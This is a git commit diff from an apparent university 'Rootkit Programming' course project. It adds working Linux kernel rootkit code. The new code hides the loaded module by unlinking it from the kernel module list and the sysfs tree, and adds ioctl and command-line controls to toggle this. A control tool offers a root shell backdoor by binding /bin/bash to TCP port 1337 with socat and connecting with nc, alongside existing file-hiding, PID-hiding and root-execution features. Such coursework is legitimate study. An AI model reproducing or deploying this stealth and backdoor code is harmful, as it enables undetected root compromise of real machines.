commit 43009050813f8f44b83ddbb550699c12caf751d2
parent cbac0bee1bcba2d234d951f0aa7aeb39ac45f20d
Author: deurzen <m.deurzen@tum.de>
Date: Sun, 6 Dec 2020 03:20:32 +0100
Merge branch 'master' into feat/of-hiding
Diffstat:
10 files changed, 191 insertions(+), 13 deletions(-)
diff --git a/src/channel.c b/src/channel.c
@@ -2,9 +2,11 @@
#include <linux/module.h>
#include <linux/uaccess.h>
#include <linux/ioctl.h>
+#include <linux/proc_fs.h>
#include "channel.h"
#include "common.h"
+#include "modhide.h"
#include "filehide.h"
#include "backdoor.h"
#include "hidepid.h"
@@ -21,6 +23,7 @@ report_channels(void)
DEBUG_NOTICE("-----------------------------------\n");
DEBUG_NOTICE("listening on the following channels\n");
DEBUG_NOTICE("%-24s %#10lx\n", "PING", G7_PING);
+ DEBUG_NOTICE("%-24s %#10lx\n", "MODHIDE", G7_MODHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR);
DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD);
@@ -33,6 +36,7 @@ detect_channel(unsigned cmd)
{
switch (cmd) {
case G7_PING: return (channel_t){ "PING", handle_ping };
+ case G7_MODHIDE: return (channel_t){ "MODHIDE", handle_modhide };
case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide };
case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor };
case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd };
@@ -60,6 +64,47 @@ handle_ping(unsigned long arg)
}
int
+handle_modhide(unsigned long arg)
+{
+ long sarg = (long)arg;
+
+ if (!sarg) {
+ static char *argv[] = {
+ "/bin/sh",
+ "-c",
+ "/sbin/rmmod g7",
+ NULL
+ };
+
+ static char *envp[] = {
+ "HOME=/",
+ "TERM=linux",
+ "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
+ NULL
+ };
+
+ DEBUG_NOTICE("unloading module\n");
+
+ unhide_module();
+ rootkit.hiding_module = 0;
+
+ call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
+ } else if (sarg < 0) {
+ unhide_module();
+ rootkit.hiding_module = 0;
+
+ DEBUG_NOTICE("modhide off\n");
+ } else if (sarg > 0) {
+ hide_module();
+ rootkit.hiding_module = 1;
+
+ DEBUG_NOTICE("modhide on\n");
+ }
+
+ return 0;
+}
+
+int
handle_filehide(unsigned long arg)
{
long sarg = (long)arg;
diff --git a/src/channel.h b/src/channel.h
@@ -11,6 +11,7 @@ channel_t detect_channel(unsigned);
// handlers
int handle_ping(unsigned long);
+int handle_modhide(unsigned long);
int handle_filehide(unsigned long);
int handle_backdoor(unsigned long);
int handle_togglebd(unsigned long);
diff --git a/src/g7.c b/src/g7.c
@@ -40,9 +40,10 @@ static struct file_operations g7_fops =
rootkit_t rootkit = {
- .hiding_files = true,
- .hiding_pids = true,
+ .hiding_module = true,
+ .hiding_files = true,
.hiding_open_files = true,
+ .hiding_pids = true,
.backdoor = BD_TTY,
};
@@ -117,7 +118,7 @@ g7_exit(void)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Group 7");
-MODULE_DESCRIPTION("Assignment 3");
+MODULE_DESCRIPTION("Rootkit Programming");
MODULE_INFO(intree, "Y");
module_init(g7_init);
diff --git a/src/hook.c b/src/hook.c
@@ -14,6 +14,7 @@
#include "common.h"
#include "hook.h"
#include "rootkit.h"
+#include "modhide.h"
#include "filehide.h"
#include "backdoor.h"
#include "hidepid.h"
@@ -62,6 +63,9 @@ init_hooks(void)
sys_getdents = (void *)sys_calls[__NR_getdents];
sys_getdents64 = (void *)sys_calls[__NR_getdents64];
+ if (rootkit.hiding_module)
+ hide_module();
+
if (rootkit.hiding_files)
hide_files();
@@ -79,6 +83,9 @@ init_hooks(void)
void
remove_hooks(void)
{
+ if (rootkit.hiding_module)
+ unhide_module();
+
if (rootkit.hiding_files)
unhide_files();
diff --git a/src/ioctl.h b/src/ioctl.h
@@ -5,9 +5,10 @@
#define G7_DEVICE "g7rkp"
#define G7_PING _IOWR(G7_MAGIC_NUMBER, 0x0, char *)
-#define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x1, char *)
-#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x2, char *)
-#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x3, char *)
-#define G7_HIDEPID _IOR(G7_MAGIC_NUMBER, 0x4, char *)
+#define G7_MODHIDE _IOR(G7_MAGIC_NUMBER, 0x1, char *)
+#define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x2, char *)
+#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x3, char *)
+#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x4, char *)
+#define G7_HIDEPID _IOR(G7_MAGIC_NUMBER, 0x5, char *)
#endif//_GROUP7_IOCTL_H
diff --git a/src/modhide.c b/src/modhide.c
@@ -0,0 +1,86 @@
+#include <linux/kernfs.h>
+#include <linux/module.h>
+#include <linux/rbtree.h>
+#include <linux/list.h>
+#include <linux/hash.h>
+
+#include "common.h"
+#include "modhide.h"
+
+static struct list_head *mod;
+
+// https://elixir.bootlin.com/linux/v4.19/source/include/linux/module.h#L334
+// https://elixir.bootlin.com/linux/v4.19/source/include/linux/kobject.h#L71
+void
+hide_module(void)
+{
+ // sysfs directory entry
+ struct kernfs_node *sd;
+
+ if (mod)
+ return;
+
+ mod = THIS_MODULE->list.prev;
+ sd = THIS_MODULE->mkobj.kobj.sd;
+
+ // Remove from the rbtree of modules
+ rb_erase(&sd->rb, &sd->parent->dir.children);
+
+ // Remove from the list of modules
+ list_del(&THIS_MODULE->list);
+}
+
+// https://elixir.bootlin.com/linux/v4.19/source/include/linux/module.h#L334
+// https://elixir.bootlin.com/linux/v4.19/source/include/linux/kobject.h#L71
+void
+unhide_module(void)
+{
+ struct kernfs_node *sd;
+ struct rb_root *root;
+ struct rb_node *parent;
+ struct rb_node **new;
+
+ if (!mod)
+ return;
+
+ sd = THIS_MODULE->mkobj.kobj.sd;
+ root = &sd->parent->dir.children;
+ new = &root->rb_node;
+ parent = NULL;
+
+ // Add back to the list of modules
+ list_add(&THIS_MODULE->list, mod);
+
+ { // Insert our module back into the rbtree of modules
+ // Search for the place to insert, insert, then rebalance tree,
+ // as per https://www.kernel.org/doc/Documentation/rbtree.txt
+ while (*new) {
+ int cmp;
+ struct kernfs_node *rb;
+
+ parent = *new;
+ rb = rb_entry(*new, struct kernfs_node, rb);
+
+ // https://elixir.bootlin.com/linux/v4.19/source/include/linux/kernfs.h#L132
+ // Recurse toward insert position based on 1. hash,
+ // 2. (upon collision) namespace, and 3. (otherwise) name
+ cmp = (sd->hash == rb->hash)
+ ? ((sd->ns == rb->ns)
+ ? strcmp(sd->name, rb->name)
+ : sd->ns - rb->ns)
+ : sd->hash - rb->hash;
+
+ if (cmp < 0)
+ new = &((*new)->rb_left);
+ else if (cmp > 0)
+ new = &((*new)->rb_right);
+ else
+ return;
+ }
+
+ rb_link_node(&sd->rb, parent, new);
+ rb_insert_color(&sd->rb, root);
+ }
+
+ mod = NULL;
+}
diff --git a/src/modhide.h b/src/modhide.h
@@ -0,0 +1,7 @@
+#ifndef _GROUP7_MODHIDE_H
+#define _GROUP7_MODHIDE_H
+
+void hide_module(void);
+void unhide_module(void);
+
+#endif//_GROUP7_MODHIDE_H
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c
@@ -34,6 +34,19 @@ parse_input(int argc, char **argv)
if (ARGVCMP(1, "ping"))
return (cmd_t){ handle_ping, NULL };
+ if (ARGVCMP(1, "unload"))
+ return (cmd_t){ handle_modhide, (void *)0 };
+
+ if (ARGVCMP(1, "modhide")) {
+ ASSERT_ARGC(2, "modhide <on | off>");
+
+ if (ARGVCMP(2, "on"))
+ return (cmd_t){ handle_modhide, (void *)1 };
+
+ if (ARGVCMP(2, "off"))
+ return (cmd_t){ handle_modhide, (void *)-1 };
+ }
+
if (ARGVCMP(1, "filehide")) {
ASSERT_ARGC(2, "filehide <toggle | on | off>");
@@ -98,6 +111,12 @@ handle_ping(void *arg)
}
int
+handle_modhide(void *arg)
+{
+ return issue_ioctl(G7_MODHIDE, (const char *)arg);
+}
+
+int
handle_filehide(void *arg)
{
return issue_ioctl(G7_FILEHIDE, (const char *)arg);
@@ -112,19 +131,26 @@ handle_backdoor(void *arg)
int
handle_shellbd(void *arg)
{
- const char *socat_cmd = "socat tcp4-listen:1337,reuseaddr,fork"
+ static const char *socat_cmd = "socat tcp4-listen:1337,reuseaddr,fork"
" exec:/bin/bash,pty,stderr,setsid";
issue_ioctl(G7_BACKDOOR, socat_cmd);
- char *argv[] = {
- "nc",
- "127.0.0.1",
- "1337",
+ static char *argv[] = {
+ "sh",
+ "-c"
+ "nc 127.0.0.1 1337",
+ NULL
+ };
+
+ static char *envp[] = {
+ "HOME=/",
+ "TERM=linux",
+ "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
- return execve(argv[0], argv, NULL);
+ return execve(argv[0], argv, envp);
}
int
@@ -164,6 +190,8 @@ help()
printf("These are the available commands:\n");
printf("%-32s %s\n", "help", "this message");
printf("%-32s %s\n", "ping", "send an echo request to the rootkit");
+ printf("%-32s %s\n", "unload", "gracefully unload the rootkit module");
+ printf("%-32s %s\n", "modhide <on | off>", "{,un}hide rootkit module");
printf("%-32s %s\n", "filehide <toggle | on | off>", "{,un}hide files");
printf("%-32s %s\n", "backdoor <execve_command>", "exec a command as root");
printf("%-32s %s\n", "shell", "obtain a shell as root");
diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h
@@ -21,6 +21,7 @@ int issue_ioctl(unsigned long, const char *);
void help();
int handle_ping(void *);
+int handle_modhide(void *);
int handle_filehide(void *);
int handle_backdoor(void *);
int handle_shellbd(void *);
diff --git a/src/rootkit.h b/src/rootkit.h
@@ -11,6 +11,7 @@ typedef enum {
typedef struct {
sc_hook_t hooks[16];
+ bool hiding_module;
bool hiding_files;
bool hiding_pids;
bool hiding_open_files;